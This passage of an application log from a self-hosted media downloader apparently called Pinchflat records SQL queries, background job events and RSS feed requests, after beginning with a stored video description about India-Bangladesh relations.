monopolization of government jobs.\n\n \n\nHe then talks about mistakes India has made in supporting Mujibur Rahman, Sheikh Hasina and, in particular, turning a blind eye to her excesses and growing unpopularity. As he points out, when Sheikh Hasina fell from power “rage against her excesses spilled over as vitriol against India for propping her up.”\n\n \n\nMr. Sircar offers a detailed understanding of the historical evolution of India-Bangladesh relations which explains the present situation between the two countries and how it has emerged. Then, against this background, he talks about the forthcoming Bangladesh elections and why he believes the victory of Tarique Rahman and his Bangladesh Nationalist Party, despite its historical adverse attitude to India, would be the best outcome for New Delhi.\n\n\n\nJoin The Wire's Youtube Membership and get exclusive content, member-only emojis, live interaction with The Wire's founders, editors and reporters and much more. Memberships to The Wire Crew start at Rs 89/month. https://www.youtube.com/channel/UChWtJey46brNr7qHQpN6KLQ/join", "India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar", 2570, false, "NDVG7q8x7Ms", "https://www.youtube.com/watch?v=NDVG7q8x7Ms", "/downloads/music/The Wire/India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar.m4a", false, 1, ~U[2026-01-09 07:36:51Z]] 19:09:23.053 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=351.0ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-01-10 19:09:23Z], ~U[2026-01-10 19:09:23Z], 1] 19:09:23.092 [debug] QUERY OK source="media_items" db=0.8ms queue=1.0ms idle=72.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 19:09:23.121 [debug] QUERY OK source="media_items" db=28.1ms queue=0.1ms idle=73.0ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 19:09:23.123 [debug] QUERY OK source="media_items" db=0.7ms idle=100.6ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 19:09:23.220 [debug] QUERY OK source="tasks" db=0.4ms idle=127.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [93, 1, ~U[2026-01-10 19:09:23Z], ~U[2026-01-10 19:09:23Z]] 19:09:23.221 [info] {"args":{"id":1},"id":92,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":13039651,"event":"job:stop","queue_time":653473,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 19:09:29.654 [info] {"source":"oban","duration":1432,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:09:46.173 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 19:09:46.251 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 19:09:46.271 [debug] QUERY OK source="sources" db=18.8ms queue=0.1ms idle=1338.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 19:09:46.273 [debug] QUERY OK source="media_items" db=1.4ms queue=0.2ms idle=1358.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 19:09:46.277 [debug] QUERY OK source="source_metadata" db=2.8ms idle=1361.5ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 19:09:46.301 [debug] QUERY OK source="media_metadata" db=22.6ms queue=0.1ms idle=1364.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 19:09:46.302 [info] Sent 200 in 129ms 19:09:59.656 [info] {"source":"oban","duration":1321,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:10:00.736 [info] {"source":"oban","duration":553,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:10:29.658 [info] {"source":"oban","duration":1639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:10:59.661 [info] {"source":"oban","duration":1665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:11:00.762 [info] {"source":"oban","duration":477,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:11:14.967 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 19:11:14.967 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 19:11:14.969 [debug] QUERY OK source="sources" db=1.0ms queue=0.2ms idle=1054.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 19:11:14.971 [debug] QUERY OK source="media_items" db=1.0ms queue=0.3ms idle=1056.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 19:11:14.973 [debug] QUERY OK source="source_metadata" db=0.8ms idle=330.6ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 19:11:14.974 [debug] QUERY OK source="media_metadata" db=0.9ms queue=0.1ms idle=60.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 19:11:15.040 [info] Sent 200 in 72ms 19:11:29.664 [info] {"source":"oban","duration":1417,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:11:58.365 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 19:11:59.667 [info] {"source":"oban","duration":1932,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:12:00.765 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:12:29.669 [info] {"source":"oban","duration":1364,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:12:58.374 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 19:12:59.671 [info] {"source":"oban","duration":1441,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:13:00.766 [info] {"source":"oban","duration":580,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:13:29.675 [info] {"source":"oban","duration":1480,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:13:59.677 [info] {"source":"oban","duration":1617,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:14:00.769 [info] {"source":"oban","duration":744,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:14:29.680 [info] {"source":"oban","duration":1465,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:14:38.125 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 19:14:38.126 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 19:14:38.127 [debug] QUERY OK source="sources" db=0.9ms queue=0.3ms idle=1194.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 19:14:38.129 [debug] QUERY OK source="media_items" db=1.5ms queue=0.1ms idle=1195.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 19:14:38.131 [debug] QUERY OK source="source_metadata" db=0.6ms idle=1198.6ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 19:14:38.132 [debug] QUERY OK source="media_metadata" db=0.5ms queue=0.1ms idle=1199.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 19:14:38.133 [info] Sent 200 in 7ms 19:14:59.683 [info] {"source":"oban","duration":1512,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:15:00.770 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:15:29.686 [info] {"source":"oban","duration":1782,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:15:59.689 [info] {"source":"oban","duration":1440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:16:00.773 [info] {"source":"oban","duration":729,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:16:17.465 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 19:16:17.465 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 19:16:17.468 [debug] QUERY OK source="sources" db=1.2ms queue=0.3ms idle=1534.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 19:16:17.471 [debug] QUERY OK source="media_items" db=1.7ms queue=0.2ms idle=570.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 19:16:17.474 [debug] QUERY OK source="source_metadata" db=1.1ms queue=0.1ms idle=540.9ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 19:16:17.475 [debug] QUERY OK source="media_metadata" db=0.4ms queue=0.1ms idle=542.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 19:16:17.477 [info] Sent 200 in 12ms 19:16:29.693 [info] {"source":"oban","duration":1990,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:16:59.696 [info] {"source":"oban","duration":2035,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:17:00.774 [info] {"source":"oban","duration":529,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:17:29.698 [info] {"source":"oban","duration":1732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:17:59.701 [info] {"source":"oban","duration":1471,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:18:00.776 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:18:29.704 [info] {"source":"oban","duration":1470,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:18:59.706 [info] {"source":"oban","duration":1463,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:19:00.778 [info] {"source":"oban","duration":294,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:19:07.585 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 19:19:07.585 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 19:19:07.587 [debug] QUERY OK source="sources" db=1.0ms idle=1409.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 19:19:07.589 [debug] QUERY OK source="media_items" db=1.6ms queue=0.1ms idle=847.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 19:19:07.591 [debug] QUERY OK source="source_metadata" db=0.2ms idle=414.8ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 19:19:07.592 [debug] QUERY OK source="media_metadata" db=0.7ms queue=0.1ms idle=415.5ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 19:19:07.594 [info] Sent 200 in 9ms 19:19:29.709 [info] {"source":"oban","duration":1556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:19:59.712 [info] {"source":"oban","duration":1377,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:20:00.780 [info] {"source":"oban","duration":564,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:20:29.715 [info] {"source":"oban","duration":1397,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:20:59.718 [info] {"source":"oban","duration":1502,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:21:00.782 [info] {"source":"oban","duration":1369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:21:21.012 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 19:21:21.012 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 19:21:21.014 [debug] QUERY OK source="sources" db=0.4ms queue=0.5ms idle=1836.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 19:21:21.016 [debug] QUERY OK source="media_items" db=1.8ms queue=0.1ms idle=1838.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 19:21:21.019 [debug] QUERY OK source="source_metadata" db=0.5ms idle=1808.7ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 19:21:21.020 [debug] QUERY OK source="media_metadata" db=0.4ms idle=843.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 19:21:21.020 [info] Sent 200 in 8ms 19:21:29.722 [info] {"source":"oban","duration":1930,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:21:58.460 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 19:21:59.724 [info] {"source":"oban","duration":1709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:22:00.784 [info] {"source":"oban","duration":569,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:22:29.727 [info] {"source":"oban","duration":1333,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:22:58.487 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 19:22:59.730 [info] {"source":"oban","duration":2065,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:23:00.787 [info] {"source":"oban","duration":555,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:23:29.732 [info] {"source":"oban","duration":1525,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:23:59.735 [info] {"source":"oban","duration":1288,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:24:00.788 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:24:10.832 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 19:24:10.832 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 19:24:10.834 [debug] QUERY OK source="sources" db=1.2ms idle=1087.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 19:24:10.836 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=657.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 19:24:10.897 [debug] QUERY OK source="source_metadata" db=0.6ms queue=0.1ms idle=719.6ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 19:24:10.899 [debug] QUERY OK source="media_metadata" db=0.6ms queue=0.3ms idle=720.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 19:24:10.900 [info] Sent 200 in 67ms 19:24:29.737 [info] {"source":"oban","duration":1415,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:24:59.739 [info] {"source":"oban","duration":1652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:25:00.790 [info] {"source":"oban","duration":543,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:25:29.742 [info] {"source":"oban","duration":1597,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:25:59.745 [info] {"source":"oban","duration":1147,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:26:00.792 [info] {"source":"oban","duration":501,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:26:29.747 [info] {"source":"oban","duration":1120,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:26:41.653 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 19:26:41.654 [debug] Processing with 